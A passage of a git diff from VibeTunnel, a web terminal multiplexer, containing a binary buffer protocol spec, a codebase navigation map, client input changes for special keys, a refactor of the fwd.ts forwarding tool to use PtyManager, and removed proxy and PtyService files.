0x00 1 Header [2 bits: char_len-1][1 bit: rgb_fg][1 bit: rgb_bg][4 bits: reserved]
|
||||
0x01 1 Attributes Bit flags (see below)
|
||||
0x02 1-4 Character UTF-8 character (length from header)
|
||||
0x?? 1/3 FG Color 1 byte palette or 3 bytes RGB
|
||||
0x?? 1/3 BG Color 1 byte palette or 3 bytes RGB
|
||||
```
|
||||
|
||||
### Attribute Flags (1 byte)
|
||||
|
||||
```
|
||||
Bit Flag
|
||||
--- ----
|
||||
0 Bold
|
||||
1 Italic
|
||||
2 Underline
|
||||
3 Dim
|
||||
4 Inverse
|
||||
5 Invisible
|
||||
6 Strikethrough
|
||||
7 Extended (if set, use extended cell format)
|
||||
```
|
||||
|
||||
## Special Encodings
|
||||
|
||||
### Run-Length Encoding
|
||||
|
||||
For repeated cells (common with spaces), use RLE:
|
||||
|
||||
```
|
||||
0xFF <count:1> <cell:4+>
|
||||
```
|
||||
|
||||
This encodes up to 255 repeated cells.
|
||||
|
||||
### Empty Line Marker
|
||||
|
||||
For completely empty lines (all spaces with default attributes):
|
||||
|
||||
```
|
||||
0xFE <count:1>
|
||||
```
|
||||
|
||||
This encodes up to 255 empty lines.
|
||||
|
||||
## Color Encoding
|
||||
|
||||
### Palette Colors (0-255)
|
||||
Standard xterm 256-color palette indices.
|
||||
|
||||
### RGB Colors (24-bit)
|
||||
When RGB flag is set in extended cell header:
|
||||
```
|
||||
R (1 byte) G (1 byte) B (1 byte)
|
||||
```
|
||||
|
||||
## API Endpoint
|
||||
|
||||
### Request
|
||||
```
|
||||
GET /api/sessions/{sessionId}/buffer?viewportY={Y}&lines={N}
|
||||
```
|
||||
|
||||
Parameters:
|
||||
- `sessionId`: Session identifier
|
||||
- `viewportY`: Starting line in the terminal buffer (0-based)
|
||||
- `lines`: Number of lines to return
|
||||
|
||||
### Response
|
||||
```
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: {size}
|
||||
|
||||
[Binary data as described above]
|
||||
```
|
||||
|
||||
## Example
|
||||
|
||||
For a 80x24 terminal showing "Hello" on black background:
|
||||
|
||||
```
|
||||
Header (32 bytes):
|
||||
56 54 02 00 50 00 00 00 18 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00
|
||||
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │
|
||||
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─┴─┴─┴─ Reserved
|
||||
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─┴─┴─┴─ CursorY (0)
|
||||
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─┴─┴─┴─ CursorX (5)
|
||||
│ │ │ │ │ │ │ │ │ │ │ │ └─┴─┴─┴─ ViewportY (0)
|
||||
│ │ │ │ │ │ │ │ └─┴─┴─┴─ Rows (24)
|
||||
│ │ │ │ └─┴─┴─┴─ Cols (80)
|
||||
│ │ │ └─ Flags (0)
|
||||
│ │ └─ Version (2)
|
||||
└─┴─ Magic "VT"
|
||||
|
||||
Cells:
|
||||
48 00 07 00 65 00 07 00 6C 00 07 00 6C 00 07 00 6F 00 07 00
|
||||
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │
|
||||
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ BG: black (0)
|
||||
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ FG: white (7)
|
||||
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ Attributes: none (0)
|
||||
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ Character: 'o'
|
||||
[Continue for remaining cells...]
|
||||
|
||||
FF 4B 20 00 07 00 (RLE: 75 spaces)
|
||||
FE 17 (23 empty lines)
|
||||
```
|
||||
|
||||
## Implementation Notes
|
||||
|
||||
1. The server maintains xterm.js Terminal instances for each active session
|
||||
2. Binary encoding happens on-the-fly when buffer endpoint is called
|
||||
3. Client can request specific viewport regions for efficient updates
|
||||
4. Format is designed to be easily parseable with minimal overhead
|
||||
5. Extended format allows for future enhancements without breaking compatibility
|
||||
|
||||
## Performance Characteristics
|
||||
|
||||
- Basic ASCII terminal: ~4 bytes per cell
|
||||
- With colors/attributes: ~4-7 bytes per cell
|
||||
- With RLE compression: ~10-20% of original size for typical terminals
|
||||
- Network transfer: ~3-8KB for full 80x24 screen (before gzip)
|
||||
224
web/spec.md
Normal file
224
web/spec.md
Normal file
|
|
@ -0,0 +1,224 @@
|
|||
# VibeTunnel Codebase Map
|
||||
|
||||
A comprehensive navigation guide for the VibeTunnel web terminal system.
|
||||
|
||||
## Project Overview
|
||||
|
||||
VibeTunnel is a web-based terminal multiplexer with distributed architecture support. It provides:
|
||||
- PTY-based terminal sessions via node-pty
|
||||
- Real-time terminal streaming (SSE/WebSocket)
|
||||
- Binary-optimized buffer synchronization
|
||||
- Distributed HQ/remote server architecture
|
||||
- Web UI with full terminal emulation
|
||||
|
||||
## Directory Structure
|
||||
|
||||
```
|
||||
web/
|
||||
├── src/
|
||||
│ ├── server/ # Node.js Express server
|
||||
│ ├── client/ # Lit-based web UI
|
||||
│ ├── fwd.ts # CLI forwarding tool
|
||||
│ └── server.ts # Server entry point
|
||||
├── public/ # Static assets
|
||||
├── scripts/ # Build scripts
|
||||
└── docs/ # Documentation
|
||||
```
|
||||
|
||||
## Server Architecture (`src/server/`)
|
||||
|
||||
### Core Components
|
||||
|
||||
#### Entry Points
|
||||
- `server.ts` (1-4): Simple loader for modular server
|
||||
- `index.ts` (1-49): Server initialization, cleanup intervals, graceful shutdown
|
||||
- `app.ts` (198-404): Express app factory, CLI parsing, mode configuration
|
||||
|
||||
#### Server Modes
|
||||
1. **Normal Mode**: Standalone terminal server
|
||||
2. **HQ Mode** (`--hq`): Central server managing remotes
|
||||
3. **Remote Mode** (`--hq-url`): Registers with HQ server
|
||||
|
||||
### Authentication (`middleware/auth.ts`)
|
||||
- Basic Auth: Username/password (46-55)
|
||||
- Bearer Token: HQ↔Remote communication (28-44)
|
||||
- Health endpoint bypass (14-16)
|
||||
|
||||
### Session Management
|
||||
|
||||
#### PTY Manager (`pty/pty-manager.ts`)
|
||||
- `createSession()` (72-167): Spawns PTY processes
|
||||
- `sendInput()` (265-315): Handles keyboard input
|
||||
- `killSession()` (453-537): SIGTERM→SIGKILL escalation
|
||||
- `resizeSession()` (394-447): Terminal dimension changes
|
||||
- Control pipe support for external sessions (320-349)
|
||||
|
||||
#### Session Manager (`pty/session-manager.ts`)
|
||||
- Session persistence in `~/.vibetunnel/control/`
|
||||
- `listSessions()` (155-224): Filesystem-based discovery
|
||||
- `updateZombieSessions()` (231-257): Dead process cleanup
|
||||
|
||||
#### Terminal Manager (`services/terminal-manager.ts`)
|
||||
- Headless xterm.js for server-side state (40-69)
|
||||
- `getBufferSnapshot()` (255-323): Captures terminal buffer
|
||||
- `encodeSnapshot()` (328-555): Binary protocol encoding
|
||||
- Debounced buffer notifications (627-642)
|
||||
|
||||
### API Routes (`routes/`)
|
||||
|
||||
#### Sessions (`sessions.ts`)
|
||||
- `GET /api/sessions` (40-120): List with HQ aggregation
|
||||
- `POST /api/sessions` (123-199): Create local/remote
|
||||
- `DELETE /api/sessions/:id` (270-323): Kill session
|
||||
- `GET /api/sessions/:id/stream` (517-627): SSE streaming
|
||||
- `POST /api/sessions/:id/input` (630-695): Send input
|
||||
- `POST /api/sessions/:id/resize` (698-767): Resize terminal
|
||||
- `GET /api/sessions/:id/buffer` (455-514): Binary snapshot
|
||||
|
||||
#### Remotes (`remotes.ts`) - HQ Mode Only
|
||||
- `GET /api/remotes` (15-27): List registered servers
|
||||
- `POST /api/remotes/register` (30-52): Remote registration
|
||||
- `DELETE /api/remotes/:id` (55-69): Unregister remote
|
||||
|
||||
### Binary Buffer Protocol
|
||||
|
||||
#### Format (`terminal-manager.ts:361-555`)
|
||||
```
|
||||
Header (32 bytes):
|
||||
- Magic: 0x5654 "VT" (2 bytes)
|
||||
- Version: 0x01 (1 byte)
|
||||
- Flags: reserved (1 byte)
|
||||
- Dimensions: cols, rows (8 bytes)
|
||||
- Cursor: X, Y, viewport (12 bytes)
|
||||
- Reserved (4 bytes)
|
||||
|
||||
Rows: 0xFE=empty, 0xFD=content
|
||||
Cells: Variable-length with type byte
|
||||
```
|
||||
|
||||
### WebSocket (`services/buffer-aggregator.ts`)
|
||||
- Client connections (31-68)
|
||||
- Message handling (69-127)
|
||||
- Local session buffers (131-195)
|
||||
- Remote session proxy (200-232)
|
||||
- Binary message format (136-164)
|
||||
|
||||
### HQ Mode Components
|
||||
|
||||
#### Remote Registry (`services/remote-registry.ts`)
|
||||
- Health checks every 15s (118-146)
|
||||
- Session ownership tracking (82-96)
|
||||
- Bearer token authentication
|
||||
|
||||
#### HQ Client (`services/hq-client.ts`)
|
||||
- Registration with HQ (29-58)
|
||||
- Unregister on shutdown (60-72)
|
||||
|
||||
## Client Architecture (`src/client/`)
|
||||
|
||||
### Core Components
|
||||
|
||||
#### App Entry (`app.ts`)
|
||||
- Lit-based SPA (15-331)
|
||||
- Session list polling (74-90)
|
||||
- URL-based routing `?session=<id>`
|
||||
- Global keyboard handlers
|
||||
|
||||
#### Terminal Component (`terminal.ts`)
|
||||
- Custom DOM rendering (634-701)
|
||||
- Virtual scrolling (537-555)
|
||||
- Touch/momentum support
|
||||
- URL highlighting integration
|
||||
- Copy/paste handling
|
||||
|
||||
#### Session View (`session-view.ts`)
|
||||
- Full-screen terminal (12-1331)
|
||||
- SSE streaming (275-333)
|
||||
- Mobile input overlays
|
||||
- Resize synchronization
|
||||
|
||||
### Services
|
||||
|
||||
#### Buffer Subscription (`services/buffer-subscription-service.ts`)
|
||||
- WebSocket client (30-87)
|
||||
- Binary protocol decoder (163-208)
|
||||
- Auto-reconnection with backoff
|
||||
|
||||
### Utils
|
||||
|
||||
#### Cast Converter (`utils/cast-converter.ts`)
|
||||
- Asciinema v2 parser (31-82)
|
||||
- SSE stream handler (294-427)
|
||||
- Batch loading (221-283)
|
||||
|
||||
#### Terminal Renderer (`utils/terminal-renderer.ts`)
|
||||
- Binary buffer decoder (279-424)
|
||||
- HTML generation
|
||||
- Style mapping
|
||||
|
||||
## Forward Tool (`src/fwd.ts`)
|
||||
|
||||
### Purpose
|
||||
CLI tool that spawns PTY sessions integrated with VibeTunnel infrastructure.
|
||||
|
||||
### Key Features
|
||||
- Interactive terminal forwarding (295-312)
|
||||
- Monitor-only mode (`--monitor-only`)
|
||||
- Control pipe handling (140-287)
|
||||
- Session persistence (439-446)
|
||||
|
||||
### Usage
|
||||
```bash
|
||||
npx tsx src/fwd.ts <command> [args...]
|
||||
npx tsx src/fwd.ts --monitor-only <command>
|
||||
```
|
||||
|
||||
### Integration Points
|
||||
- Uses same PtyManager as server (63)
|
||||
- Creates sessions in control directory
|
||||
- Supports resize/kill via control pipe
|
||||
|
||||
## Key Files Quick Reference
|
||||
|
||||
### Server Core
|
||||
- `src/server/app.ts`: App configuration, CLI parsing
|
||||
- `src/server/middleware/auth.ts`: Authentication logic
|
||||
- `src/server/routes/sessions.ts`: Session API endpoints
|
||||
- `src/server/pty/pty-manager.ts`: PTY process management
|
||||
- `src/server/services/terminal-manager.ts`: Terminal state & binary protocol
|
||||
- `src/server/services/buffer-aggregator.ts`: WebSocket buffer distribution
|
||||
|
||||
### Client Core
|
||||
- `src/client/app.ts`: Main SPA component
|
||||
- `src/client/components/terminal.ts`: Terminal renderer
|
||||
- `src/client/components/session-view.ts`: Session viewer
|
||||
- `src/client/services/buffer-subscription-service.ts`: WebSocket client
|
||||
|
||||
### Configuration
|
||||
- Environment: `PORT`, `VIBETUNNEL_USERNAME`, `VIBETUNNEL_PASSWORD`
|
||||
- CLI: `--port`, `--username`, `--password`, `--hq`, `--hq-url`, `--name`
|
||||
|
||||
### Protocols
|
||||
- REST API: Session CRUD, terminal I/O
|
||||
- SSE: Real-time output streaming
|
||||
- WebSocket: Binary buffer updates
|
||||
- Control pipes: External session control
|
||||
|
||||
## Development Notes
|
||||
|
||||
### Build System
|
||||
- `npm run dev`: Auto-rebuilds TypeScript
|
||||
- ESBuild: Fast bundling
|
||||
- Vitest: Testing framework
|
||||
|
||||
### Testing
|
||||
- Unit tests: `npm test`
|
||||
- E2E tests: `npm run test:e2e`
|
||||
- Integration: `npm run test:integration`
|
||||
|
||||
### Key Dependencies
|
||||
- node-pty: Cross-platform PTY
|
||||
- @xterm/headless: Terminal emulation
|
||||
- Lit: Web components
|
||||
- Express: HTTP server
|
||||
- TailwindCSS: Styling
|
||||
|
|
@ -22,7 +22,7 @@
|
|||
<link rel="manifest" href="/manifest.json">
|
||||
|
||||
<!-- Styles -->
|
||||
<link href="bundle/output.css" rel="stylesheet">
|
||||
<link href="bundle/styles.css" rel="stylesheet">
|
||||
|
||||
<!-- Mobile viewport and address bar handling -->
|
||||
<style>
|
||||
|
|
|
|||
|
|
@ -4,7 +4,7 @@
|
|||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0, user-scalable=no">
|
||||
<title>DOM Terminal Test</title>
|
||||
<link href="../bundle/output.css" rel="stylesheet">
|
||||
<link href="../bundle/styles.css" rel="stylesheet">
|
||||
|
||||
<!-- Fira Code Font -->
|
||||
<style>
|
||||
|
|
|
|||
|
|
@ -420,12 +420,26 @@ export class SessionView extends LitElement {
|
|||
|
||||
// Send the input to the session
|
||||
try {
|
||||
// Determine if we should send as key or text
|
||||
const body = [
|
||||
'enter',
|
||||
'escape',
|
||||
'arrow_up',
|
||||
'arrow_down',
|
||||
'arrow_left',
|
||||
'arrow_right',
|
||||
'ctrl_enter',
|
||||
'shift_enter',
|
||||
].includes(inputText)
|
||||
? { key: inputText }
|
||||
: { text: inputText };
|
||||
|
||||
const response = await fetch(`/api/sessions/${this.session.id}/input`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
body: JSON.stringify({ text: inputText }),
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
|
|
@ -837,12 +851,26 @@ export class SessionView extends LitElement {
|
|||
if (!this.session) return;
|
||||
|
||||
try {
|
||||
// Determine if we should send as key or text
|
||||
const body = [
|
||||
'enter',
|
||||
'escape',
|
||||
'arrow_up',
|
||||
'arrow_down',
|
||||
'arrow_left',
|
||||
'arrow_right',
|
||||
'ctrl_enter',
|
||||
'shift_enter',
|
||||
].includes(text)
|
||||
? { key: text }
|
||||
: { text };
|
||||
|
||||
const response = await fetch(`/api/sessions/${this.session.id}/input`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
body: JSON.stringify({ text }),
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
|
|
|
|||
|
|
@ -13,7 +13,7 @@
|
|||
import * as path from 'path';
|
||||
import * as os from 'os';
|
||||
import * as fs from 'fs';
|
||||
import { PtyService } from './pty/index.js';
|
||||
import { PtyManager } from './server/pty/index.js';
|
||||
|
||||
function showUsage() {
|
||||
console.log('VibeTunnel Forward (fwd.ts)');
|
||||
|
|
@ -58,20 +58,16 @@ async function main() {
|
|||
console.log(`Starting command: ${command.join(' ')}`);
|
||||
console.log(`Working directory: ${cwd}`);
|
||||
|
||||
// Initialize PTY service - fwd.ts should always use node-pty directly
|
||||
// Initialize PTY manager
|
||||
const controlPath = path.join(os.homedir(), '.vibetunnel', 'control');
|
||||
const ptyService = new PtyService({
|
||||
implementation: 'node-pty', // Always use node-pty, never tty-fwd
|
||||
controlPath,
|
||||
fallbackToTtyFwd: false, // Disable fallback - fwd.ts replaces tty-fwd
|
||||
});
|
||||
const ptyManager = new PtyManager(controlPath);
|
||||
|
||||
try {
|
||||
// Create the session
|
||||
const sessionName = `fwd_${command[0]}_${Date.now()}`;
|
||||
console.log(`Creating session: ${sessionName}`);
|
||||
|
||||
const result = await ptyService.createSession(command, {
|
||||
const result = await ptyManager.createSession(command, {
|
||||
sessionName,
|
||||
workingDir: cwd,
|
||||
term: process.env.TERM || 'xterm-256color',
|
||||
|
|
@ -80,24 +76,30 @@ async function main() {
|
|||
});
|
||||
|
||||
console.log(`Session created with ID: ${result.sessionId}`);
|
||||
console.log(`Implementation: ${ptyService.getCurrentImplementation()}`);
|
||||
|
||||
// Track all intervals and streams for cleanup
|
||||
const intervals: NodeJS.Timeout[] = [];
|
||||
const streams: any[] = [];
|
||||
const streams: (fs.ReadStream | NodeJS.ReadWriteStream)[] = [];
|
||||
|
||||
// Get session info
|
||||
const session = ptyService.getSession(result.sessionId);
|
||||
const session = ptyManager.getSession(result.sessionId);
|
||||
if (!session) {
|
||||
throw new Error('Session not found after creation');
|
||||
}
|
||||
|
||||
// Get direct access to PTY process for faster input and exit detection
|
||||
let directPtyProcess: any = null;
|
||||
interface PtyProcess {
|
||||
write: (data: string) => void;
|
||||
onExit: (callback: (info: { exitCode: number; signal?: number }) => void) => void;
|
||||
}
|
||||
let directPtyProcess: PtyProcess | null = null;
|
||||
try {
|
||||
const ptyManager = (ptyService as any).ptyManager;
|
||||
const internalSession = ptyManager?.sessions?.get(result.sessionId);
|
||||
directPtyProcess = internalSession?.ptyProcess;
|
||||
// Access internal sessions map from the ptyManager instance
|
||||
const ptyManagerWithSessions = ptyManager as unknown as {
|
||||
sessions?: Map<string, { ptyProcess?: PtyProcess }>;
|
||||
};
|
||||
const internalSession = ptyManagerWithSessions.sessions?.get(result.sessionId);
|
||||
directPtyProcess = internalSession?.ptyProcess || null;
|
||||
if (directPtyProcess) {
|
||||
console.log('Got direct PTY process access for faster input and exit detection');
|
||||
|
||||
|
|
@ -109,7 +111,9 @@ async function main() {
|
|||
intervals.forEach((interval) => clearInterval(interval));
|
||||
streams.forEach((stream) => {
|
||||
try {
|
||||
stream.destroy?.();
|
||||
if ('destroy' in stream && typeof stream.destroy === 'function') {
|
||||
stream.destroy();
|
||||
}
|
||||
} catch (_e) {
|
||||
// Ignore cleanup errors
|
||||
}
|
||||
|
|
@ -268,7 +272,7 @@ async function main() {
|
|||
console.log(`Received resize command: ${message.cols}x${message.rows}`);
|
||||
// Get current session from PTY service and resize if possible
|
||||
try {
|
||||
ptyService.resizeSession(result.sessionId, message.cols, message.rows);
|
||||
ptyManager.resizeSession(result.sessionId, message.cols, message.rows);
|
||||
} catch (error) {
|
||||
console.warn('Failed to resize session:', error);
|
||||
}
|
||||
|
|
@ -280,7 +284,7 @@ async function main() {
|
|||
console.log(`Received kill command: ${signal}`);
|
||||
// The session monitoring will detect the exit and handle cleanup
|
||||
try {
|
||||
ptyService.killSession(result.sessionId, signal);
|
||||
ptyManager.killSession(result.sessionId, signal);
|
||||
} catch (error) {
|
||||
console.warn('Failed to kill session:', error);
|
||||
}
|
||||
|
|
@ -327,7 +331,7 @@ async function main() {
|
|||
const data = chunk.toString('utf8');
|
||||
try {
|
||||
// Forward data from web server to PTY
|
||||
ptyService.sendInput(result.sessionId, { text: data });
|
||||
ptyManager.sendInput(result.sessionId, { text: data });
|
||||
} catch (error) {
|
||||
console.error('Failed to forward stdin data to PTY:', error);
|
||||
}
|
||||
|
|
@ -437,7 +441,7 @@ async function main() {
|
|||
console.log(`\n\nReceived ${signal}, checking session status...`);
|
||||
|
||||
try {
|
||||
const currentSession = ptyService.getSession(result.sessionId);
|
||||
const currentSession = ptyManager.getSession(result.sessionId);
|
||||
if (currentSession && currentSession.status === 'running') {
|
||||
console.log('Session is still running. Leaving it active.');
|
||||
console.log(`Session ID: ${result.sessionId}`);
|
||||
|
|
|
|||
|
|
@ -1,96 +0,0 @@
|
|||
import { RemoteRegistry } from './remote-registry.js';
|
||||
import { Request, Response, NextFunction } from 'express';
|
||||
|
||||
/**
|
||||
* Proxy middleware for forwarding session operations to remote servers
|
||||
*/
|
||||
export function createSessionProxyMiddleware(
|
||||
isHQMode: boolean,
|
||||
remoteRegistry: RemoteRegistry | null
|
||||
) {
|
||||
return async (req: Request, res: Response, next: NextFunction) => {
|
||||
// Only proxy in HQ mode
|
||||
if (!isHQMode || !remoteRegistry) {
|
||||
return next();
|
||||
}
|
||||
|
||||
// Extract session ID from params
|
||||
const sessionId = req.params.sessionId;
|
||||
if (!sessionId) {
|
||||
return next();
|
||||
}
|
||||
|
||||
// Check if this session belongs to a remote
|
||||
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
|
||||
if (!remote) {
|
||||
// It's a local session, continue with normal processing
|
||||
return next();
|
||||
}
|
||||
|
||||
// Build the target URL - keep the same path
|
||||
const targetUrl = `${remote.url}${req.originalUrl}`;
|
||||
|
||||
try {
|
||||
// Forward the request
|
||||
const headers: Record<string, string> = {
|
||||
'Content-Type': req.get('Content-Type') || 'application/json',
|
||||
};
|
||||
|
||||
// Use the remote's token for authentication
|
||||
headers['Authorization'] = `Bearer ${remote.token}`;
|
||||
|
||||
const response = await fetch(targetUrl, {
|
||||
method: req.method,
|
||||
headers,
|
||||
body: req.method !== 'GET' && req.method !== 'HEAD' ? JSON.stringify(req.body) : undefined,
|
||||
signal: AbortSignal.timeout(30000), // 30 second timeout
|
||||
});
|
||||
|
||||
// Set status code
|
||||
res.status(response.status);
|
||||
|
||||
// Copy headers
|
||||
response.headers.forEach((value, key) => {
|
||||
if (key.toLowerCase() !== 'content-encoding') {
|
||||
res.setHeader(key, value);
|
||||
}
|
||||
});
|
||||
|
||||
// Check content type to determine how to forward response
|
||||
const contentType = response.headers.get('content-type') || '';
|
||||
if (contentType.includes('application/octet-stream')) {
|
||||
// Binary data - forward as buffer
|
||||
const buffer = await response.arrayBuffer();
|
||||
res.send(Buffer.from(buffer));
|
||||
} else if (contentType.includes('text/event-stream')) {
|
||||
// SSE - forward as stream
|
||||
const reader = response.body?.getReader();
|
||||
if (reader) {
|
||||
const decoder = new TextDecoder();
|
||||
try {
|
||||
while (true) {
|
||||
const { done, value } = await reader.read();
|
||||
if (done) break;
|
||||
res.write(decoder.decode(value, { stream: true }));
|
||||
}
|
||||
} finally {
|
||||
reader.releaseLock();
|
||||
}
|
||||
}
|
||||
res.end();
|
||||
} else {
|
||||
// Text or JSON - forward as before
|
||||
const data = await response.text();
|
||||
try {
|
||||
const jsonData = JSON.parse(data);
|
||||
res.json(jsonData);
|
||||
} catch {
|
||||
res.send(data);
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
console.error(`Failed to proxy request to remote ${remote.name}:`, error);
|
||||
res.status(503).json({ error: 'Failed to communicate with remote server' });
|
||||
}
|
||||
};
|
||||
}
|
||||
|
|
@ -1,600 +0,0 @@
|
|||
/**
|
||||
* PtyService - Integration layer with fallback to tty-fwd
|
||||
*
|
||||
* This service provides a unified interface that can use either the native
|
||||
* Node.js PTY implementation or fall back to the existing tty-fwd binary.
|
||||
*/
|
||||
|
||||
import * as fs from 'fs';
|
||||
import * as path from 'path';
|
||||
import * as os from 'os';
|
||||
import { spawn, spawnSync } from 'child_process';
|
||||
import {
|
||||
SessionEntryWithId,
|
||||
SessionOptions,
|
||||
SessionInput,
|
||||
PtyConfig,
|
||||
SessionCreationResult,
|
||||
PtyError,
|
||||
} from './types.js';
|
||||
import { PtyManager } from './PtyManager.js';
|
||||
import { ProcessUtils } from './ProcessUtils.js';
|
||||
|
||||
export class PtyService {
|
||||
private config: PtyConfig;
|
||||
private ptyManager: PtyManager | null = null;
|
||||
|
||||
constructor(config?: Partial<PtyConfig>) {
|
||||
this.config = {
|
||||
implementation: 'auto',
|
||||
controlPath: path.join(os.homedir(), '.vibetunnel', 'control'),
|
||||
fallbackToTtyFwd: true,
|
||||
...config,
|
||||
};
|
||||
|
||||
// Initialize based on implementation choice
|
||||
this.initialize();
|
||||
}
|
||||
|
||||
/**
|
||||
* Initialize the service based on configuration
|
||||
*/
|
||||
private initialize(): void {
|
||||
const implementation = this.determineImplementation();
|
||||
|
||||
if (implementation === 'node-pty') {
|
||||
try {
|
||||
this.ptyManager = new PtyManager(this.config.controlPath);
|
||||
console.log('PtyService: Using node-pty implementation');
|
||||
} catch (error) {
|
||||
console.warn('PtyService: Failed to initialize node-pty:', error);
|
||||
if (this.config.fallbackToTtyFwd) {
|
||||
console.log('PtyService: Falling back to tty-fwd');
|
||||
this.ptyManager = null;
|
||||
} else {
|
||||
throw new PtyError('Failed to initialize node-pty and fallback disabled');
|
||||
}
|
||||
}
|
||||
} else {
|
||||
console.log('PtyService: Using tty-fwd implementation');
|
||||
this.ptyManager = null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine which implementation to use
|
||||
*/
|
||||
private determineImplementation(): 'node-pty' | 'tty-fwd' {
|
||||
if (this.config.implementation === 'node-pty') {
|
||||
return 'node-pty';
|
||||
}
|
||||
|
||||
if (this.config.implementation === 'tty-fwd') {
|
||||
return 'tty-fwd';
|
||||
}
|
||||
|
||||
// Auto-detection
|
||||
try {
|
||||
// Check if we have write access to control directory
|
||||
const controlPath = this.config.controlPath;
|
||||
if (!fs.existsSync(controlPath)) {
|
||||
fs.mkdirSync(controlPath, { recursive: true });
|
||||
}
|
||||
fs.accessSync(controlPath, fs.constants.W_OK);
|
||||
|
||||
return 'node-pty';
|
||||
} catch (error) {
|
||||
console.warn('PtyService: node-pty not available, using tty-fwd:', error);
|
||||
return 'tty-fwd';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a new session
|
||||
*/
|
||||
async createSession(
|
||||
command: string[],
|
||||
options: SessionOptions = {}
|
||||
): Promise<SessionCreationResult> {
|
||||
if (this.ptyManager) {
|
||||
return await this.ptyManager.createSession(command, options);
|
||||
} else {
|
||||
return await this.createSessionTtyFwd(command, options);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Create session using tty-fwd binary
|
||||
*/
|
||||
private async createSessionTtyFwd(
|
||||
command: string[],
|
||||
options: SessionOptions
|
||||
): Promise<SessionCreationResult> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const ttyFwdPath = this.findTtyFwdBinary();
|
||||
const args = ['--control-path', this.config.controlPath];
|
||||
|
||||
if (options.sessionName) {
|
||||
args.push('--session-name', options.sessionName);
|
||||
}
|
||||
|
||||
args.push('--', ...command);
|
||||
|
||||
const proc = spawn(ttyFwdPath, args, {
|
||||
cwd: options.workingDir || process.cwd(),
|
||||
env: {
|
||||
...process.env,
|
||||
TERM: options.term || 'xterm-256color',
|
||||
},
|
||||
});
|
||||
|
||||
let output = '';
|
||||
let error = '';
|
||||
|
||||
proc.stdout?.on('data', (data) => {
|
||||
output += data.toString();
|
||||
});
|
||||
|
||||
proc.stderr?.on('data', (data) => {
|
||||
error += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code) => {
|
||||
if (code === 0) {
|
||||
// Parse session ID from output (tty-fwd should output session ID)
|
||||
const sessionId = output.trim();
|
||||
|
||||
// Wait a bit for session file to be created
|
||||
setTimeout(() => {
|
||||
try {
|
||||
const session = this.getSession(sessionId);
|
||||
if (session) {
|
||||
resolve({
|
||||
sessionId,
|
||||
sessionInfo: {
|
||||
cmdline: session.cmdline,
|
||||
name: session.name,
|
||||
cwd: session.cwd,
|
||||
pid: session.pid,
|
||||
status: session.status,
|
||||
exit_code: session.exit_code,
|
||||
started_at: session.started_at,
|
||||
term: session.term,
|
||||
spawn_type: session.spawn_type,
|
||||
},
|
||||
});
|
||||
} else {
|
||||
reject(new PtyError(`Session ${sessionId} not found after creation`));
|
||||
}
|
||||
} catch (err) {
|
||||
reject(new PtyError(`Failed to get session info: ${err}`));
|
||||
}
|
||||
}, 100);
|
||||
} else {
|
||||
reject(new PtyError(`tty-fwd failed with code ${code}: ${error}`));
|
||||
}
|
||||
});
|
||||
|
||||
proc.on('error', (err) => {
|
||||
reject(new PtyError(`Failed to spawn tty-fwd: ${err.message}`));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Send input to a session
|
||||
*/
|
||||
sendInput(sessionId: string, input: SessionInput): void {
|
||||
if (this.ptyManager) {
|
||||
return this.ptyManager.sendInput(sessionId, input);
|
||||
} else {
|
||||
return this.sendInputTtyFwd(sessionId, input);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send input using tty-fwd binary (fast async approach)
|
||||
*/
|
||||
private sendInputTtyFwd(sessionId: string, input: SessionInput): void {
|
||||
// For performance, write directly to the session's stdin pipe instead of spawning tty-fwd
|
||||
const session = this.getSession(sessionId);
|
||||
if (!session || !session.stdin) {
|
||||
throw new PtyError(
|
||||
`Session ${sessionId} not found or has no stdin pipe`,
|
||||
'SESSION_NOT_FOUND',
|
||||
sessionId
|
||||
);
|
||||
}
|
||||
|
||||
try {
|
||||
let dataToSend = '';
|
||||
if (input.text !== undefined) {
|
||||
dataToSend = input.text;
|
||||
} else if (input.key !== undefined) {
|
||||
// Convert special keys to appropriate sequences
|
||||
const keyMap: Record<string, string> = {
|
||||
arrow_up: '\x1b[A',
|
||||
arrow_down: '\x1b[B',
|
||||
arrow_right: '\x1b[C',
|
||||
arrow_left: '\x1b[D',
|
||||
escape: '\x1b',
|
||||
enter: '\r',
|
||||
ctrl_enter: '\n',
|
||||
shift_enter: '\r\n',
|
||||
};
|
||||
dataToSend = keyMap[input.key] || '';
|
||||
if (!dataToSend) {
|
||||
throw new PtyError(`Unknown special key: ${input.key}`, 'UNKNOWN_KEY');
|
||||
}
|
||||
} else {
|
||||
throw new PtyError('No text or key specified in input');
|
||||
}
|
||||
|
||||
// Use async file write for better performance
|
||||
const fs = require('fs');
|
||||
if (fs.existsSync(session.stdin)) {
|
||||
